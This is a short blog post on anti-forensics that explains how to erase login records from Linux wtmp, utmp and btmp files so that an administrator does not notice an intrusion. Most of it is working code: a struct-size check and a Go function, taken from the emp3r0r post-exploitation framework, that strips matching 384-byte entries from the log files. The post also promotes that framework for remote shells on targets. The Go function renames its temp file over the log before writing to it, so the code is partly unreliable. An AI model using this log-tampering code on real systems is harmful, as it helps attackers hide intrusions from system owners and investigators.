Stop Deleting Everything!
many folks like to rm -f /var/log/*tmp
, which I have to say is not a right way to cover your trail,
if the admin would ever think of checking login logs, an empty log will certainly catch his attention
but *tmp
files are all binary, how do we modify them?
We don't need to know its format (mostly)
if you man wtmp
, you will see how the *tmp
files are constructed, but thats not what we need
struct utmp {
short ut_type; /* Type of record */
pid_t ut_pid; /* PID of login process */
char ut_line[UT_LINESIZE]; /* Device name of tty - "/dev/" */
char ut_id[4]; /* Terminal name suffix,
or inittab(5) ID */
char ut_user[UT_NAMESIZE]; /* Username */
char ut_host[UT_HOSTSIZE]; /* Hostname for remote login, or
kernel version for run-level
messages */
struct exit_status ut_exit; /* Exit status of a process
marked as DEAD_PROCESS; not
used by Linux init (1 */
/* The ut_session and ut_tv fields must be the same size when
compiled 32- and 64-bit. This allows data files and shared
memory to be shared between 32- and 64-bit applications. */
#if __WORDSIZE == 64 && defined __WORDSIZE_COMPAT32
int32_t ut_session; /* Session ID (getsid(2)),
used for windowing */
struct {
int32_t tv_sec; /* Seconds */
int32_t tv_usec; /* Microseconds */
} ut_tv; /* Time entry was made */
#else
long ut_session; /* Session ID */
struct timeval ut_tv; /* Time entry was made */
#endif
int32_t ut_addr_v6[4]; /* Internet address of remote
host; IPv4 address uses
just ut_addr_v6[0] */
char __unused[20]; /* Reserved for future use */
};
so this piece of code represents a utmp entry in linux, what we want to do is simply delete an entry, what do we need?
the struct size of course (its machine dependent, but considering most targets run x86_64...)
how do we calculate the size?
#include <stdio.h>
#include <utmp.h>
int main(void)
{
struct utmp xtmp;
printf("size of utmp struct: %d\n", sizeof(xtmp));
return 0;
}
its 384 bytes indeed
if we open a random wtmp file, we can confirm a single entry takes 384 bytes of space (x86_64):
action!
open the file then read all data, slice it to several byte array of 384 bytes, each array represents an entry.
its the same as editing text files
the following code is from emp3r0r
you can also use emp3r0r to do other post-exploitation work such as remote shell and port mapping on linux targets
// deleteXtmpEntry delete a wtmp/utmp/btmp entry containing keyword
func deleteXtmpEntry(keyword string) (err error) {
delete := func(path string) (err error) {
var (
offset = 0
newFileData []byte
)
xtmpf, err := os.Open(path)
if err != nil {
return fmt.Errorf("Failed to open xtmp: %v", err)
}
defer xtmpf.Close()
xmtpData, err := ioutil.ReadFile(path)
if err != nil {
return fmt.Errorf("Failed to read xtmp: %v", err)
}
// back up xtmp file
err = ioutil.WriteFile(path+".bak", xmtpData, 0664)
if err != nil {
return fmt.Errorf("Failed to backup %s: %v", path, err)
}
for offset < len(xmtpData) {
buf := xmtpData[offset:(offset + 384)]
if strings.Contains(string(buf), keyword) {
offset += 384
continue
}
newFileData = append(newFileData, buf...)
offset += 384
}
// save new file as xtmp.tmp, users need to rename it manually, in case the file is corrupted
newXtmp, err := os.OpenFile(path+".tmp", os.O_CREATE|os.O_RDWR, 0664)
if err != nil {
return fmt.Errorf("Failed to open temp xtmp: %v", err)
}
defer newXtmp.Close()
err = os.Rename(path+".tmp", path)
if err != nil {
return fmt.Errorf("Failed to replace %s: %v", path, err)
}
_, err = newXtmp.Write(newFileData)
return err
}
err = nil
xtmpFiles := []string{"/var/log/wtmp", "/var/log/btmp", "/var/log/utmp"}
for _, xtmp := range xtmpFiles {
if IsFileExist(xtmp) {
e := delete(xtmp)
if e != nil {
if err != nil {
err = fmt.Errorf("DeleteXtmpEntry: %v, %v", err, e)
} else {
err = fmt.Errorf("DeleteXtmpEntry: %v", e)
}
}
}
}
return err
}
Comments
comments powered by Disqus